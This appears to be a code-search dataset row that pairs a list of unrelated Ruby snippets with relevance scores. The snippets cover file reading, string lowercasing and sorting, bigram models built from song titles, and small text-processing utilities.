"def process_file(file_name)\n\tbegin\n\t\tif RUBY_PLATFORM.downcase.include? 'mswin'\n puts \"Processing File.... \"\n\t\t\tfile = File.open(file_name)\n\t\t\tunless file.eof?\n\t\t\t\tfile.each_line do |line|\n\t\t\t\t\t# do something for each line (if using windows)\n \n\t\t\t\tend\n\t\t\tend\n\t\t\tfile.close\n\t\telse\n\t\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\t\t# Clean Title\n clean_title = cleanup_title(line)\n\t\t\t\t# Split title into words\n\t\t\t\tif clean_title != nil\n\t\t\t\t\t# Array of words in the title\n\t\t\t\t\twords = clean_title.split(' ', 30)\n\t\t\t\t\twords.delete(\"\")\n\t\t\t\t\t\t# For every word in the title\n\t\t\t\t\t\tfor i in 0..words.length - 1\n\t\t\t\t\t\t# \tIf word is not already in first hash as a key\n\t\t\t\t\t\t\tif !$bigrams.key?(words[i])\n\t\t\t\t\t\t\t\t# If it is not the last word in the title\n\t\t\t\t\t\t\t\tif words[i] != words.last\n\t\t\t\t\t\t\t\t\t# Insert first word into hash as key, with a new hash containing next word as key and 1 as value\n\t\t\t\t\t\t\t\t\t$bigrams[words[i]] = {words[i+1] => 1}\n\t\t\t\t\t\t\t\t# Else it is the last word in the title\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t$bigrams[words[i]] = Hash.new\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t# Else word is already in first hash \n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t# If word is not the last word in title\n\t\t\t\t\t\t\t\tif words[i] != words.last\n\t\t\t\t\t\t\t\t\t# If nested hash contains second word as a key\n\t\t\t\t\t\t\t\t\tif $bigrams[words[i]].key?(words[i+1])\n\t\t\t\t\t\t\t\t\t\t# Increase value that corresponds with second word\n\t\t\t\t\t\t\t\t\t\t$bigrams[words[i]][words[i+1]] += 1\n\t\t\t\t\t\t\t\t\t# Else word that follows is not in second hash\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t# Insert second word as key in second hash and set value to 1\n\t\t\t\t\t\t\t\t\t\t$bigrams[words[i]][words[i+1]] = 1\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t# Else word is last word in title, no words follow\n\t\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue => exception\n\t\tp exception.backtrace\n\t\traise\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def initialize(word_list_file_path)\n word_list = ::File.readlines(word_list_file_path).map(&:chomp)\n @words = word_list.map(&:downcase)\n end",
"def upcase; end",
"def processed_content\n scan(/[a-z]/i).join.downcase\n end",
"def sort_name\n sort_constituent\n end",
"def upcase!() end",
"def name_handler(name)\n name = name.downcase.chars #takes the input and makes it downcase and breaks it into an array to increment through\n name_new = name.map do |letter| #create a new array called name_new and start block to increment through each array\n letter_change(letter)\n end\n #Code addressing capitalization and swapping first / last\n namearr = name_new.join('').split #join the new_name array back into a string\n p namearr\n first_name = namearr[0] #assign first name to a new variable based on index\n last_name = namearr[1] #assign first name to a new variable based on index\n name_new = last_name.capitalize! + \" \" + first_name.capitalize! #capitalize and swap first for last\nend",
"def reverse_words(file)\n a = ReverseWords.new\n a.read(file)\n i = 0\n while i < a.counter\n puts \"Case ##{i+1}: #{a.cases[i].split(\" \").reverse.join(\" \")}\"\n i = i + 1\n end\n # puts a.counter\n # print a.cases\nend",
"def test_add_case_sensitive_read_case_insensitive\n ::Zip.case_insensitive_match = false\n\n SRC_FILES.each { |fn, _en| assert(::File.exist?(fn)) }\n zf = ::Zip::File.new(EMPTY_FILENAME, ::Zip::File::CREATE)\n\n SRC_FILES.each { |fn, en| zf.add(en, fn) }\n zf.close\n\n ::Zip.case_insensitive_match = true\n\n zfRead = ::Zip::File.new(EMPTY_FILENAME)\n assert_equal(SRC_FILES.collect { |_fn, en| en.downcase }.uniq.size, zfRead.entries.length)\n assert_equal(SRC_FILES.last.last.downcase, zfRead.entries.first.name.downcase)\n AssertEntry.assert_contents(SRC_FILES.last.first,\n zfRead.get_input_stream(SRC_FILES.last.last) { |zis| zis.read })\n end",
"def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end",
"def processed_content\n scan(/[a-z]/i).join.downcase\n\n # self.letters.downcase\n end",
"def transliterate_file_name\n\t\t\tfile_names = Array.new\n\t\t\[email protected] { |a| file_names << a if a.match(/_file_name{1}$/) }\n\t\t\tfile_names.each do |local_file_name|\n\t\t\t\tif self.send(local_file_name).present? && self.send(local_file_name+'_changed?')\n\t\t\t\t\textension = File.extname(send(local_file_name)).gsub(/^\\.+/, '')\n\t\t\t\t\tfilename = send(local_file_name).gsub(/\\.#{extension}$/, '')\n\t\t\t\t\tself.send(local_file_name.gsub(/_file_name{1}$/, '')).instance_write(:file_name, \"#{transliterate(filename)}.#{transliterate(extension)}\")\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend",
"def process_input_file\n\t\t\tinput_file = File.open(@params[:input_file], 'r')\n\t\t\tfile_terms = convert_contents_to_search_string(input_file.read)\n\t\t\tadd_terms(file_terms)\n\t\tend",
"def get_lowercase_name(file_path)\n filename = File.basename(file_path)\n basedir = File.dirname(file_path)\n\n # Make sure the file is all lowercase, for consistency\n filename.downcase!\n new_path = File.join(basedir, filename)\n file_path = new_path\n\n return file_path\nend",
"def downcase_fields\n self.guess.downcase!\n end",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tall = Hash.new\n\t\tIO.foreach(file_name) do |line|\n\t\t\t# do something for each line\n\t\t\ttitle = cleanup_title(line)\n\t\t\tunless title.nil?\n\t\t\t\tgram = title.split().each_cons(2).to_a\n\t\t\t\tgram = gram.map{ |n| n.join(' ') }\n \t\t\t\tgram = gram.each_with_object(Hash.new(0)) { |word, obj| obj[word] += 1 }\n \t\t\t\tif gram.any?\n\t \t\t\t\tall.merge!(gram) { |k, old, new| old + new }\n\t \t\t\tend\n\t\t\tend\n\t\tend\n\t\t$bigramsArray = all.sort_by { |k, v| -v }\n\t\tcreate_hash()\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def reformatInput(word)\n return String.downcase(String.chars.sort(&:casecmp).join)\n end",
"def munge(name)\n infile = name + \".txt\"\n outfile = name + \".out\"\n line = File.open(infile) {|f| f.read}\n #i1 points at the first character in a word.\n #i2 points at the first character after a word.\n i1 = i2 = 0;\n while i1 < line.length || i2 < line.length\n i2 += 1 while i2 < line.length && line[i2, 1] =~ /[[:alpha:]]/ #in a word\n line[i1...i2] = permute_word(line[i1...i2])\n i1 = i2\n i1 += 1 while i1 < line.length && line[i1, 1] !~ /[[:alpha:]]/ #not in a word\n i2 = i1\n end\n File.open(outfile, \"w\") {|f| f.write(line)}\n# line\nend",
"def dictionary_sort(list)\n sorted = []\n capitals = []\n \n list.each do |word|\n if capitalized?(word)\n word.downcase!\n capitals << word\n end\n end\n \n until list.empty?\n max_so_far = custom_max(list)\n \n sorted.unshift(max_so_far)\n list.delete(max_so_far)\n end\n \n sorted.each do |word|\n if capitals.include?(word)\n word.capitalize!\n end\n end\n sorted\nend",
"def translate(filename)\r\n\t\t@array_translate = []\r\n\t\tFile.open(filename).each do |line|\r\n\t\t\t@array_translate << line.split\r\n\t\tend\r\n\tend",
"def sort_by_surname(input, fullname_field)\n input.sort_by { |i| i[fullname_field].downcase.split(/ /)[1] }\n end",
"def sort_by_surname(input, fullname_field)\n input.sort_by { |i| i[fullname_field].downcase.split(/ /)[1] }\n end",
"def process_file(file_name)\n\n\t# local variables declaration\n\n\t# start time of this program\n t_1 = Time.now\n \n title = nil\n\n\tputs \"Processing File.... \"\n\t\n\tbegin\n\t\tIO.foreach(file_name) do |line|\n\t\t\t# do something for each line\n\t\t\t\n\t\t\t# call the cleanup_title method and pass the line\n\t\t\t# the cleanup_title method will return cleaned up string\n\t\t\t# the cleaned up string will be stored in the title variable\n\t\t\t# title = cleanup_title(line)\n\t\t\ttitle = cleanup_title(line)\n\n\t\t\tif title != nil && title != \"\"\n\t\t\t\tbuildBigram(title)\n createWordsList(title)\n\t\t\tend\n\t\t\t\n\t\t\t\n\n\t\tend\n\n\t\tputs \"Finished. Bigram model built.\\n\"\n\n # print total amount of titles\n puts \"\\n=======================================\"\n\t\tputs \"Total number of Titels: #{$counter_1}\\n\"\n\n\t\t# end time of this program\n\t\tt_2 = Time.now\n\n\t\t# calculate time needed for computing\n\t\tt_3 = t_2 - t_1\n\n\t\t# print computing time\n puts \"Computing Time: #{t_3}\"\n puts \"=======================================\\n\\n\"\n \n\t\t#countWords()\n\t\t#printWords()\n\t\t#printBigram()\n\t\t#printTitles()\n\n\t\tmcw(\"love\")\n\n\n\trescue\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def diacritize_file(path)\n texts = File.open(path).map do |line|\n line.chomp.strip\n end\n\n # process batches\n out_texts = []\n idx = 0\n while idx + @batch_size <= texts.length\n originals = texts[idx..idx+@batch_size-1]\n src = originals.map.each{|t| preprocess_text(t)}\n lengths = src.map.each{|seq| seq.length}\n ort_inputs = {\n 'src' => src,\n 'lengths' => lengths\n }\n preds = predict_batch(ort_inputs)\n\n out_texts += (0..@batch_size-1).map do |i|\n reconcile_strings(\n originals[i],\n combine_text_and_haraqat(src[i], preds[i])\n )\n end\n idx += @batch_size\n end\n\n # process rest of data\n while idx < texts.length\n out_texts += [diacritize_text(texts[idx])]\n idx += 1\n end\n\n out_texts\n end",
"def handleInput(inputs)\n\t\tinputArgs = ARGV.map(&:upcase)\n\t\tinputArgs = inputArgs.sort\n\treturn inputArgs\nend",
"def sort_by_encoding_index(files)\n files.sort_by do |file|\n token_pairs = file.scan(/(\\D+)|(\\d+)/)\n\n sort_key = token_pairs.map do |letters, digits|\n if letters\n letters\n else\n padded_numeric_sort_key(digits)\n end\n end\n\n sort_key.flatten\n end\nend",
"def words_from_file(text_file)\n File.read(text_file).downcase.gsub(/[^a-z]/, \" \").split\nrescue\n puts \"Give me #{text_file} and let's get the party started!\"\n exit\nend",
"def set_sort_name\n self.sort_name = name.to_s.downcase.gsub(/^(a|an|the) /, '').gsub(/[^a-zA-Z0-9]/, '')\n end",
"def sort_case(value)\n @case_sensitive = value\n end",
"def canonical(word)\n word.downcase!\n word.chars.sort\nend",
"def parse_in_order(*files); end",
"def sort_array_2(arr)\n arr.sort{|a,b| a.downcase <=> b.downcase}\nend",
"def words_from_file(text_file)\n File.read(text_file).downcase.gsub(/[^a-z]/,\" \").split\nrescue\n puts \"Give me #{text_file} and let's get the party started\"\n exit\nend",
"def fb_to_ar_case(column_name)\n column_name =~ /[[:lower:]]/ ? column_name : column_name.downcase\n end",
"def unique\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x.to_textual }\n #uniques = full_list.uniq\n uniques = full_list.uniq\n puts uniques\n end",
"def process_file(file_name)\r\n\tputs \"Processing File.... \"\r\n\r\n\tbegin\r\n\t\tcounter = Hash.new\r\n\t\tfile = File.open(file_name)\r\n\t\tuntil file.eof?\r\n\t\t\tfile.each_line do |line|\r\n\t\t\t\t# do something for each line\r\n\t\t\t\ttitle = cleanup_title(line)\r\n\t\t\t\tunless(title == \"\")\r\n\t\t\t\t\tbigram = title.split().each_cons(2).to_a\r\n\t\t\t\t\tbigram = bigram.map{ |n| n.join(' ')}\r\n\t\t\t\t\tbigram = bigram.each_with_object(Hash.new(0)){|word, obj| obj[word] += 1}\r\n\t\t\t\t\tif bigram.any?\r\n\t\t\t\t\t\tcounter.merge!(bigram) { |k, old, new| old + new}\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\t\tfile.close\r\n\r\n\t\t$bigramsArray = counter.sort_by { |k, v| -v }\r\n\t\tcreate_hash()\r\n\t\t#$bigrams = $bigrams.to_h\r\n\r\n\t\t#$bigramsHash = Hash.new\r\n\t\t#$bigramsHash = $bigrams.to_h\r\n \t#$bigrams.each { |k, v| puts \"#{v} => #{k}\"}\r\n\r\n\r\n\t\tputs \"Finished. Bigram model built.\\n\"\r\n\trescue\r\n\t\tSTDERR.puts \"Could not open file\"\r\n\t\texit 4\r\n\tend\r\n\r\nend",
"def import\n print 'Import filename: '\n $stdout.flush\n file = gets.chomp\n fd = File.new(file, \"r\")\n itecky = file.rindex('.')\n raise 'missing dot in filename' if itecky == nil\n fname = file[0,itecky]\n fname.upcase!\n puts\n fd.each do\n |row|\n if row.strip.length == 0 or row[0,1] == '*' or row[0,1] == '#'\n next\n end\n row.chomp!\n items = row.split # deleni row na polozky oddelene mezerou\n nitems = items.length # pocet polozek\n raise \"only one word on the line\\n[#{row}]\" if nitems == 1\n if nitems == 2 # slovicka bez oddelovaci carky\n en = items[0]\n cz = items[1]\n else # slovicka a fraze s oddelovaci carkou\n i = row.index(' - ') # oddelovac anglickeho a ceskeho vyrazu\n raise \"missing ' - ' between English and Czech phrases\\n[#{row}]\" if i == nil\n en = row[0,i+1].strip # prvni cast radku - anglicka\n cz = row[i+3..-1].strip # druha cast radku - ceska\n end\n flag = false\n for iw in 0 ... $words.length do\n if $words[iw].fname == fname and\n ($words[iw].english == en or $words[iw].czech == cz) then\n flag = true\n break\n end\n end\n if flag == true then next end\n $words << Word.new(fname,0,0,en,cz)\n w = konverze($words.last.english + ' | ' + $words.last.czech)\n puts w\n end\n puts\n $stdout.flush\nend",
"def underscorize!\n self.replace(self.scan(/[A-Z][a-z]*/).join(\"_\").downcase)\n end",
"def processed\n self.scan(/[a-z]/i).join.downcase\n end",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\ttitle = cleanup_title(line)\n\t\t\t# If the title is valid continue\n\t\t\tif title != nil\n\t\t\t\t# Split the title into words\n\t\t\t\twords = title.split(\" \")\n\t\t\t\tw_index = 0\n\t\t\t\t# Remove the stop words\n\t\t\t\twords = words - %w{a an and by for from in of on or out the to with}\n\t\t\t\t# If there is more than one word in a title add to biagram\n\t\t\t\tif words.length > 1\n\t\t\t\t\twords.each do |w|\n\t\t\t\t\t\t# If there is no base word add it\n\t\t\t\t\t\tif $bigrams[w] == nil\n\t\t\t\t\t\t\t$bigrams[w] = Hash.new\n\t\t\t\t\t\t\t$bigrams[w][words[w_index + 1]] = 1\n\t\t\t\t\t\t# Else if there is no word following the word add it\n\t\t\t\t\t\telsif $bigrams[w][words[w_index + 1]] == nil\n\t\t\t\t\t\t\t$bigrams[w][words[w_index + 1]] = 1\n\t\t\t\t\t\t# Else increment the count of the word following\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$bigrams[w][words[w_index + 1]] += 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tw_index += 1\n\t\t\t\t\t\t# Don't include the last word in the title\n\t\t\t\t\t\tif w_index > words.length - 2\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\traise\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def scrambler (name)\n\tswapped = name.split.rotate.join(\" \") # Take name and flip it.\n\tswapped.downcase! # Make string lowercase.\n\tname1 = swapped.tr(\"aeiou\", \"eioua\") # Shift all vowels by 1 place.\n\tname2 = name1.tr(\"bcdfghjklmnpqrstvwxyz\", \"cdfghjklmnpqrstvwxyzb\") # Shift all conconants by 1 place.\n\tname3 = name2.split.map(&:capitalize).join(\" \") # Make string into substrings capitalize and join back.\nend",
"def sort(text)\n copy(text.split(\"\\n\").sort)\nend",
"def process_file(file_name)\n\tbegin\n\t\tFile.foreach(file_name, encoded: 'ASCII') do |line|\n\t\t\t\tprocess_line(line)\n\t\tend\n\trescue\n\t\tSTDERR.puts \"Could not open file, #{$!}\"\n\t\texit 4\n\tend\nend",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\t#IO.foreach(file_name) do |line|\n\t\tsize = File.new(file_name).size\t# This is the only way I've been able to get the entire unique_tracks.txt to be read\n\t\tfile = File.open(file_name)\n\t\tlines = file.read(size)\n\t\tlines_array = lines.split(\"\\n\")\n\t\tlines_array.each do |line|\t# For each line of the file\n\t\t\tline += \"\\n\"\t# Above file parsing splits lines on the \\n character, but the cleanup_title\n\t\t\t # method uses the \\n charaacter in the non-English characters check so it needs to be added back\n\t\t\ttitle = cleanup_title(line)\t# Removes unwanted text and sets string to downcase\n\t\t\tbuild_bigram(title)\t# Builds the bigram structure\n\t\tend # do lines.each\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue # begin\n\t\tSTDERR.puts \"Could not open file\"\n\t\traise\n\t\texit 4\n\tend # rescue\nend",
"def downcase_keys!\n replace(downcase_keys)\n end",
"def get_converted(line)\n tokens = line.split(/[ ;]/)\n name = tokens[-1].split(/_/)\n name[1..-1].each(&:capitalize!)\n [tokens[-1], name.join]\nend",
"def transform_files\n extract\n reorder_files\n transform @attendance_file, 'att' unless @attendance_file.blank?\n transform @enroll_file, 'enroll' unless @enroll_file.blank?\n transform @ili_file, 'ili' unless @ili_file.blank?\n end",
"def capitalize(input); end",
"def canonical(word)\n word = word.downcase.split(//).sort\nend",
"def doing_textuals\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/insert_internals.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n f.puts << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n list = File.readlines(file_name)\n list = File.readlines(\"./lib/anagrams/anagrams_table_data.txt\")\n #list = File.readlines(\"./lib/anagrams/anagrams_table_data.txt\")\n full_list = list.sort_by { |x| x.downcase }\n #b = IO.readlines(file_name)\n #b = IO.readlines(ARGV)\n #b = IO.readlines(\"./lib/the_input.txt\")\n loop do\n while a = full_list.shift\n queue = a.to_textual unless nil\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end",
"def fb_to_ar_case(column_name)\n column_name =~ /[[:lower:]]/ ? column_name : column_name.downcase\n end",
"def read_in\n File.foreach(file_name).map(&:chomp)\n end",
"def sort_output_file\n FileUtils.rm_rf(order_result_filename)\n\n cmd = \"head -1 #{order_result_filename_temp} | rev | \" + \\\n \"cut -d ',' -f 2- | rev > #{order_result_filename}\"\n\n `#{cmd}`\n\n cmd = \"tail -n +2 #{order_result_filename_temp} | \" + \\\n \"awk -F ',' -v OFS=',' '{print $NF,$0}' | \" + \\\n \"sort -t ',' -k1,1 -n | cut -d ',' -f 2- | \" + \\\n \"rev | cut -d ',' -f 2- | rev >> #{order_result_filename}\"\n\n `#{cmd}`\n\n FileUtils.rm_rf(order_result_filename_temp)\n end",
"def fdowncase\n downcase.cdowncase\n end",
"def convertFile(inputName, outputName)\n # output file\n outputFile = File.open(outputName, \"w\")\n\n # input file\n File.open(inputName, \"r\") do |inputFile|\n pattern = /^(\\S+?,){#{READ_FORM_INDEX}}/\n while line = inputFile.gets\n startIndex = line[pattern].size\n endIndex = line.index(',', startIndex)\n\n x = startIndex\n while x < endIndex do\n kata = line[x,2]\n if $kataHira[kata]\n line[x,2] = $kataHira[kata]\n else\n puts \"line: #{inputFile.lineno}, unkown katakana: #{kata}\"\n end\n x += 2\n end\n\n outputFile.puts line\n end\n end\n\n outputFile.close\nend",
"def sort_nums_app\n\tputs \"ERROR: Please give a valid filename as an argument.\" if ARGV[0] == nil\n\tFile.readlines(ARGV[0]).each do |line|\n\t\tline.gsub!(\"\\n\", \"\") if line.include? \"\\n\"\n\t\tsort_nums(line.split(\" \")) unless line.split[0] == nil\n\tend\nend"
] | [
"0.76309335",
"0.75582564",
"0.6894346",
"0.6351122",
"0.60568416",
"0.59933263",
"0.58964384",
"0.5872514",
"0.5859685",
"0.58449686",
"0.5794771",
"0.5769028",
"0.5715029",
"0.56965905",
"0.56913704",
"0.56820774",
"0.5674456",
"0.5672027",
"0.5663047",
"0.56256324",
"0.5610011",
"0.5567658",
"0.55639225",
"0.55574703",
"0.55561435",
"0.5532902",
"0.55321056",
"0.5529456",
"0.5520305",
"0.55115277",
"0.5493613",
"0.5481236",
"0.5450318",
"0.5447406",
"0.5444717",
"0.5407704",
"0.5404524",
"0.5400264",
"0.53874093",
"0.5382286",
"0.53778297",
"0.536945",
"0.5368865",
"0.536378",
"0.5361385",
"0.53535753",
"0.5350419",
"0.5349015",
"0.5343481",
"0.5328462",
"0.531948",
"0.5317041",
"0.5316656",
"0.5310921",
"0.5302065",
"0.53013015",
"0.52857256",
"0.52847624",
"0.52840734",
"0.5276194",
"0.52684444",
"0.5266789",
"0.5264902",
"0.52641684",
"0.5259563",
"0.52420485",
"0.52420485",
"0.52418953",
"0.5238934",
"0.5235379",
"0.5220032",
"0.52086747",
"0.51987535",
"0.51977324",
"0.5195363",
"0.51953155",
"0.51885176",
"0.5169923",
"0.516736",
"0.5163017",
"0.5148107",
"0.51408744",
"0.5134012",
"0.51339215",
"0.5130232",
"0.5123976",
"0.5115243",
"0.507962",
"0.5073896",
"0.50706726",
"0.50697875",
"0.50678384",
"0.5064037",
"0.5063721",
"0.50614506",
"0.50589937",
"0.50589037",
"0.5055474",
"0.5052452",
"0.50519127",
"0.504898"
] | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.